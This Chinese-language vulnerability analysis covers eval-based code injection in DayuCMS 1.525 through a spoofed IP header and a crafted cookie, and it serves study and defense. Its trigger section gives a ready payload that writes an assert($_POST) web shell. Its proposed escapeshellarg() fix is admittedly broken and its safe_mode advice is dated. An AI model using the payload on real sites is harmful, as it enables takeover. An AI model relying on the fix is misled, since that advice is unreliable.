DayuCMS 1.525 /include/global.func.php Foreground Arbitrary Code Execution

catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

http://joychou.org/index.php/web/dayucms-1-526-foreground-remote-code-execution.html
http://www.wooyun.org/bugs/wooyun-2014-087518

2. 漏洞触发条件

. IP可以利用XSS伪造,所以cookiekey可以固定为: b98b87d11653f2da
. 先访问一下/pay/order.php,得到Cookie的prefix,然后和cookiekey拼接,得到cookie键值为:cbpCMSNTNAb98b87d11653f2da
//这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用
. 然后修改X_FORWARDED_FOR为0.0.0.
. 新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
. 代码执行

3. 漏洞影响范围
4. 漏洞代码分析

/include/global.func.php

// 字符串转换为数组
function string2array($str)
{
if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
if($str=='') return array();
if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回
//直接利用eval进行字符串到数组的赋值
@eval("\$array = $str;");
return $array;
}

继续回溯函数调用方
/pay/order.php

$payobj=new pay();

$action=isset($action)?$action:'step1';
session_start(); //cookiekey是字符串'productarray'和IP地址拼接得到的md5
$cookiekey=dayucms_md5('productarray'.IP);
$productarray=string2array(get_cookie($cookiekey));

IP声明在/include/common.inc.php

define('IP',getIp());

include/global.func.php

// 获取IP地址
function getIp()
{
$ip='未知IP'; if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
//ip可以利用X-Forwarded-For伪造
return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
}
else
{
return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
}
}

nclude/global.func.php

function get_cookie($var)
{
$var = COOKIE_PRE.$var;
return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
}

string2array函数的正常用法是

$tmp = 'array("hello"=>"world")';
$arr = string2array($tmp);
var_dump($arr); //此时$arr就为一个数组

但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval("\$array = 1;echo 222;"); 导致代码执行,同时需要明白的是,代码注入并不是这个eval漏洞点唯一的利用方式,黑客可以在payload中加入"&{${...}}"这种语法,PHP解析器会立刻进行执行

5. 防御方法

/include/global.func.php

// 字符串转换为数组
function string2array($str)
{
if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
if($str=='') return array();
if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回
/**/
$str = escapeshellarg($str);
/**/
@eval("\$array = $str;");
return $array;
}

这个防御方案存在问题,会将正常传入的array('a' => 'b')这种类型的字符串破坏,导致程序crash,一个可能可行的思考方向是对$str进行token语法树解析,在token语法树层面检测是否存在危险字符

6. 攻防思考

0x1: PHP命令注入攻击漏洞的防范

. 尽量不要执行外部的应用程序或命令
. 使用自定义函数或函数库实现外部应用程序或命令的功能
. 在执行system、eval等命令执行功能的函数前,确定参数内容
. 使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如
) 单引号"’"会被转义为"\’"
) 双引号"""会被转义为"\""
) 分号";"会被转义为"\;"
这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的
//escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
. 使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败

Relevant Link:

http://php.net/manual/zh/function.escapeshellarg.php
http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

Copyright (c) 2015 Little5ann All rights reserved

上一篇:三种web性能压力测试工具


下一篇:开发extjs常用的插件